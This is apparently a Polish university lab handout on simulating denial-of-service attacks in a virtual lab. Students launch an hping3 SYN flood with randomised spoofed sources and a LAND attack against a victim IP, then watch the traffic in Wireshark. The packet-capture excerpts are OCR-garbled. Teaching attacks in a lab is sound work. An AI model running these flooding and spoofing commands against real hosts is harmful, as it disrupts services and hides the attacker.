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Instrukcja

5 Symulacja atakow odmowy ustugi (DoS/DDoS)

Stowa kluczowe
Hping3, DoS, DDoS, Analiza ruchu, Wireshark
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1. Daniel Graham, Etyczny hacking. Praktyczne wprowadzenie do hackingu

Potrzebne narzedzia

e system operacyjny Microsoft Windows 10 / Microsoft Windows 11

e system Kali Linux

e Wireshark

e Srodowisko wirtualizacji (VM), np. Oracle VM VirtualBox lub VMware Workstation.



I. Narzedzie hping3

Narzedzie sieciowe hping3 umozliwiajgce wysytanie niestandardowych pakietow TCP/IP oraz analize
odpowiedzi systemu docelowego, podobnie jak w przypadku programu ping, ktéry wykorzystuje
komunikaty ICMP.

Program obstuguje m.in. fragmentacje pakietéw, dowolng zawartoS¢ i rozmiar pakietéw, a takze
umozliwia przesytanie danych przy uzyciu obstugiwanych protokotéw.

Za pomoca hping3 mozna wykonac miedzy innymi:

testowanie regut zapory sieciowej (firewalla),

zaawansowane skanowanie portow,

testowanie wydajnosci sieci przy uzyciu réznych protokotéw oraz rozmiaréw pakietéw,
wykrywanie Sciezki MTU,

zdalne pobieranie odcisku palca systemu operacyjnego (fingerprinting),

audyt stosu TCP/IP,

analize oraz symulacje réznych typéw atakéw sieciowych.

1. W systemie Windows upewnij sie, ze program Wireshark nastuchuje na odpowiednim interfejsie
sieciowym.

2. W systemie Kali Linux uruchom atak SYN Flood:

sudo hping3 -e 'Twéj_Nr_Indeksu' -d 120 -S -w 64 -p 8080 --flood --rand-source IP_OFIARY

e -e '[tekst]':Dodaje wtasny podpis (signature) do pakietu.

e -d 120: Rozmiar danych w pakiecie (120 bajtow).

e -S: Ustawienie flagi SYN.

e -w 64: Rozmiar okna TCP.

e -p 8080: Port docelowy (serwer HTTP).

e --flood: Wysytanie pakietéw z maksymalng predkoscia (brak czekania na odpowiedzi).

e --rand-source: Generowanie losowych adreséw zrodtowych (ukrywa atakujacego).

3. Wrd6¢ do programu Wireshark.
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No. Source ) . Protocol H Stream  Length

21752 42.551239%00 172.16.2.38 1 .2.38 44 8880 - 32595
21753 42.551845200 172.16.2.38 172.16.2.38 44 32597 + 8088
21754 42.551870988 172.16.2.38 172.16.2.38 TCP 4127 44 8888 » 32597
21755 42.551914380 172.16.2.38 172.16.2.38 TCP 4126 44 32596 - 8ese
21756 42.551935600 172.16.2.38 172.16.2.38 TCP 4126 44 8880 -+ 3259
21757 42.552449180 172.16.2.38 172.16.2.38 TCP 4129 44 32599 + 8088
21758 42.552469000 172.16.2.38 172.16.2.38 TCP 4129 44 8888 + 32599
21759 42.552497500 172.16.2.38 172.16.2.38 TCP 4128 44 32598 - 8ese
21760 42.552516900 172.16.2.38 172.16.2.38 TCP 4128 44 8080 -+ 32593
21761 42.553681580 172.16.2.38 172.16.2.38 TCP 4131 44 32601 + 8088
21762 42.553732800 172.16.2.38 172.16.2.38 TCP 4131 44 8888 + 32601
21763 42.553789300 172.16.2.38 172.16.2.38 TCP 4130 44 32600 - 8ese
21764 42.553811500 172.16.2.38 172.16.2.38 TCP 4138 44 8080 -+ 32600
21765 42.564080800 172.16.2.38 172.16.2.38 TCP 4133 44 32678 + 8088
21766 42.564117588 172.16.2.38 172.16.2.38 TCP 4133 44 80880 » 32678
21767 42.564163180 172.16.2.38 172.16.2.38 44 32676 - 8ese
21768 42.564174800 172.16.2.38 172.16.2.38 44 8880 -+ 32676

1f 9e 40 00 80 @6 7e b9
Null/Loopback 1 ce 7f 1f 9@ de 66 2c 9f
Internet Protocol Version 4, Src: 172 6.2.3 2d 6a 90 00 02 e4 ff d7
Transmission Control Protocol, Src Port: : : : 61 @3 @3 @3 o1 o1 84 82

Profil: Default



Powiniene$ zauwazyc skutki ataku w postaci znacznego wzrostu ruchu sieciowego, ktéry moze powodowaé
zwiekszone obcigzenie systemu Windows. W niektérych przypadkach komputer moze zaczac pracowac
gtosniej z powodu zwiekszonego wykorzystania zasobow.

4. Wré¢ do terminala w Kali Linux i zatrzymaj atak, uzywajac kombinacji klawiszy Ctrl + C

5. W systemie Kali Linux uruchom polecenie:

sudo hping3 -S -p 80 IP_OFIARY -a IP_OFIARY

6. Wro6c do programu Wireshark.

Edycja Wi
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Steam  Length Time since request
4168

717
148 387.93351
42
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Frame 1: Packet, 56 bytes on wire (448 bits) 92 0 80 00 45 90 B0 34 1f Se 40 28 BO 86 7e b9
Null/Loopback ac 1@ @2 26 ac 10 82 26 «ce 7f 1f 90 d@ €6 2c 9f
Internet Protocol Version 4, Src: 172. 7 . @0 20 @0 @@ 80 02 ff ff 2d 6a @@ @@ 82 @4 ff d7
Transmission Control Protocol, Src Por eq: 61 83 @3 8 @1 o1 84 82

W tym przypadku pakiet jest wysytany do maszyny docelowej z identycznym adresem Zrodtowym i
docelowym, co jest charakterystyczne dla ataku typu LAND Attack.

7. Wré¢ do terminala i zatrzymaj dziatanie programu kombinacjg klawiszy: Ctrl + C



